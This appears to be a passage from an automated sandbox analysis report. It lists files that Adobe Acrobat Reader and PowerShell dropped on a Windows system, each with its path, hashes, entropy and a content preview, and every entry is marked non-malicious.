Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285300344444335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfbPtdPeUkwRe9:YvXKXuSTTYpW7SVVGDV8Ukee9
MD5:	E08550BCB66BD264C1E114BE48E349C6
SHA1:	D0C8F63FC3CD564E89B148A9291647ADC6AEB58B
SHA-256:	ACAB9F26D770F5FD4E991CC95E17DE79E388836DACCE8A3BE666AE2312068423
SHA-512:	7BC5B6D5A571E133C93C9B1C5F20D39205981D0BE1C1EBE0B013461CB5AF29EFB347446296A425CCB5CA4EBA0442B41F0C9C757E2638FE44FC2019923FF24695
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286683618611657
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJf21rPeUkwRe9:YvXKXuSTTYpW7SVVG+16Ukee9
MD5:	A9C91B8AF2A435C8B4F1B65814F8D15A
SHA1:	1C6121823BD03C33E2C0B6D80D2F9E9DBC727ABA
SHA-256:	0810855BC79EDE40FD913D7E01EFC3E6A4845202A75B48EF8D4ACF7D6D8E44BE
SHA-512:	B0AAB4F3344D3FBEF80593680473D227578374115A8058BE4A3723D6AC2A3A82CDB30C6B8A27ED03CDE64F6D15D57D90E4FCAA3F924E7CC139A9428D62CEEA1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667466382352763
Encrypted:	false
SSDEEP:	24:Yv6XuS8iSmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:YvYDSoBgkDMUJUAh8cvMx
MD5:	CC4FF4AE989D74C7482DD5F2A5990FE4
SHA1:	16EA824C82647CA2257397747E4859154B50A8AE
SHA-256:	A54FF15902654829499C4232739BF1957E75C0D6E6B9E5841EA4CBDB38180E67
SHA-512:	8666718EEEF7275A7205DF3BDEC0A7EE524CFDC3CB339F3C35E43FE15D1802F577DC174C1382500F6F5CE0ACE0E6AA715991B1409569B2F599EEE33B3ACFD179
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.260477866356504
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfshHHrPeUkwRe9:YvXKXuSTTYpW7SVVGUUUkee9
MD5:	1A2911A12948DD8F36412C4E8C437C7C
SHA1:	B2602BE942F53525EFF7B402EB10A114CD098B08
SHA-256:	9C93A3CE5B51C681623592C3A454ACDEE15ADC45333625D96729DB34E3D55F73
SHA-512:	92A647004E2C20A8CC7EC2A309D7932C0D33C30080AD4877069EFAE42B230AA504B90EF1BC6AE71C4EAA70EA9D5A550C811F337E9F89ED778BE22D6B814F78D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.271508201674877
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJTqgFCrPeUkwRe9:YvXKXuSTTYpW7SVVGTq16Ukee9
MD5:	E793A9E2C01864B068C1F85BAF4C356F
SHA1:	3506A4E4E09525F37475DE8D1CC1C66F3DADDEEE
SHA-256:	B0B30463C69B51F44700B79810BF9CD4ACF2EE9CE2DD9F66F16029E7AB9426B6
SHA-512:	B73EBA0394CED6C2B9268E38F90BD082F45D323154880E1C821CFF829B5BCCAAF5B964F66088FE30FA6766F2F6B28B094BD5638BE75DFC44EFD82BA401729A53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13766680000867
Encrypted:	false
SSDEEP:	24:YNwl8vGaQT3aynHwJvxg0npbughQ4ejY8kj0SezOG28vt2LSwC/BsaWE0M956J95:YpgNMpVpadYdMVSwBLWELM9/h
MD5:	60E4C7B6D0479EEA072BE87C066CB81F
SHA1:	DA37C8A9EC7C66265126F5B6CE3C72438A11A58C
SHA-256:	6D98819FFD570037787ED15E1EE327CB46986D3E712E6574AEE1B659591FE9CF
SHA-512:	CDCC7198B9204216084147F94B95A365F0E8FC522586ECA5D3737C8DACFC4684F3C06D733F7E73E6000E70F57DFB2CA70165F28D8DA538A46DD9A242CDAB445B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"096ca84ac8bf9dfd131f0e0f6e671e8b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564699000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d2c9ae4cfec81ef23d81e2f66ff96925","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564698000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a292cb0594fa6d8aefa435018bf609ef","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564698000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8718d87ef33675315c58b54eaf8dd931","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564698000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a29de445f4e9ad624705da44262f65e4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564698000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"abbde3caf07f52bc9256a579dc9f1cc7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9866777756468409
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spyn4zJwtNBwtNbRZ6bRZ4tnF:TVl2GL7ms6ggOVpy4zutYtp6PwF
MD5:	34C5B7AE06CACF97BCFEB185A72925FE
SHA1:	076A8673CBD10A845E1A8C59C2E542543817211C
SHA-256:	34E2623EAAA35450964F768981CCF80546636E6E3C9DA8426C88801827902FBA
SHA-512:	2C9D59750F11A42E663E2E976AD4217FA86959C78E3F1EB6D69F8D86FDDC6594E5AC0110DED959E08BD075F5F5D8094509BAE836B79C4794EA5EE5B09B38EC79
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3411183882061013
Encrypted:	false
SSDEEP:	24:7+tDAD1RZKHs/Ds/SpynPzJwtNBwtNbRZ6bRZWf1RZKjWqLBx/XYKQvGJF7urs23:7MDGgOVpyPzutYtp6PMPqll2GL7ms2
MD5:	600261D1D5E0805488E6D62467AF7BB4
SHA1:	7FA32BC57F20237FFB35BC90F7D72AA2A1BEAC95
SHA-256:	1DA6E36FAA3920251A922FB3DFCB7C2F475B9A471F91735D9FE7C0F671DFA2FC
SHA-512:	BC2FB7F22092B5B847780CA93E53029A475160CEF0B3577A98E5CEB697430C48E0B81CA7DF4B85B048E5ACF129AA55229994BCDD8619E92EA7111099A2AFD68B
Malicious:	false
Preview:	.... .c.....~.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgXeK5LuNsejLGhmbvGXbhtIZERYyu:6a6TZ44ADEP5LuAmb+Lb6KK
MD5:	0F458902D5F86A2BE4A2EE4D1B450E5C
SHA1:	D82EAA650FE489610CFCAF6CE412A5D716AA436A
SHA-256:	73183362A14FD52577339298187F7F7AF05F7E2E008214F5FEB6886D5872B03A
SHA-512:	6C770C215341CAF59746170AE34EEB9E6B13C08CDEF723E440D2188464C15468361E8B4BF5404B46E36AB1D05E1A4D125B34EEEB77F7D786506CF355885EEAAC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIc4bff.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.480679440204275
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClalNP4lYH:Qw946cPbiOxDlbYnuRK+btgYH
MD5:	3959962B91BE6B2A7B27E12097148224
SHA1:	4126A194D3B129DD6FBDC1CED9DA492E4E74F16F
SHA-256:	123ED20F78467DFCF50275EBBFFEE9ED55DE193B71476FC66C8E0333935FA7DA
SHA-512:	504CAC154773AE6E44B604DF2399BF77E9C00C6770F9E43101D232A16B3D263510EF6FE5CB72168059546FD1547A085AC3A534792798CAEAE8D5FC121F3D8FC8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.0.5.:.0.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ncnf0pal.0eb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rru2a011.z3g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-04-55-398.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.370523467382828
Encrypted:	false
SSDEEP:	384:8vxyZ7wD6JomN5vIxwPmStJkID+HqfTSuFJtzXTSPROe0m+pnCslX+XKzGwcI5p/:8pZpA
MD5:	1C774C714E7F61A0BAAAE4D793048FEB
SHA1:	88B7619E556AA5F668FA137855D21E4EA70501A1
SHA-256:	B25625D00508965D0CBB96393355A7E63D23AFC0921636F470C42AF387EF5C8B
SHA-512:	354376224A4B30E1C5DBCBF4A710AB0D175D054DF5186212493458E3489F4B3E46D1D5D0DB3223876CFF5D557EC00F7C01D5BA49E782EF8E8AE8E889B4B4EE29
Malicious:	false
Preview:	SessionID=47ca832c-e8af-423b-9cff-0d3a1e71294f.1736564695446 Timestamp=2025-01-10T22:04:55:446-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=47ca832c-e8af-423b-9cff-0d3a1e71294f.1736564695446 Timestamp=2025-01-10T22:04:55:448-0500 ThreadID=7548 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=47ca832c-e8af-423b-9cff-0d3a1e71294f.1736564695446 Timestamp=2025-01-10T22:04:55:448-0500 ThreadID=7548 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=47ca832c-e8af-423b-9cff-0d3a1e71294f.1736564695446 Timestamp=2025-01-10T22:04:55:448-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=47ca832c-e8af-423b-9cff-0d3a1e71294f.1736564695446 Timestamp=2025-01-10T22:04:55:448-0500 ThreadID=7548 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391855148401316
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb+:aH
MD5:	49D06F49AFB96016217D9CC546CEDCAC
SHA1:	7B43F4A3348BFBE7AFFA56C2FE065B30A26BE987
SHA-256:	E4E3DD25F3D7BC13F000BC81F9D8F2CD48F967B9D7C8FBF0D64443171789717A
SHA-512:	D7E19246DCE84FBCBA6037A71E6C3DD93AA99DB32FF8DFCFED5417499233F2DE591F4EF7A65B0035E0988ADBCA53E6B14BD34DC9BA2E6D7232898F7B65CC229A
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3affbfdd-8a7d-4d3d-9f1b-8b84b7803125.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rnOWL07oYGZQeYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TOWLxYGZQeZGH3mlind9i4ufFXpAXkru
MD5:	4DF3EB9167FA932079F96742C37F56E2
SHA1:	DB943B52F019F419A86C637AC94D809DE845144B
SHA-256:	E3BA7B4D7F5BA4F5DB29A7DFAB356B78020070A4789DB068B9E7D69AAA9380C3
SHA-512:	4B2180F8DBAAFB65D05F1E354ACE2308ACA23D2F15C47B4141926240B689BCA643491D882E2AD1AE235C044F032B2DDAF140BD8824D67903AE2FC9ABA4F7E8F3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5f0c016b-b157-423d-b7b8-0337432441e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c2ebcd3f-282f-4d00-a55a-93ef2aa9328f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
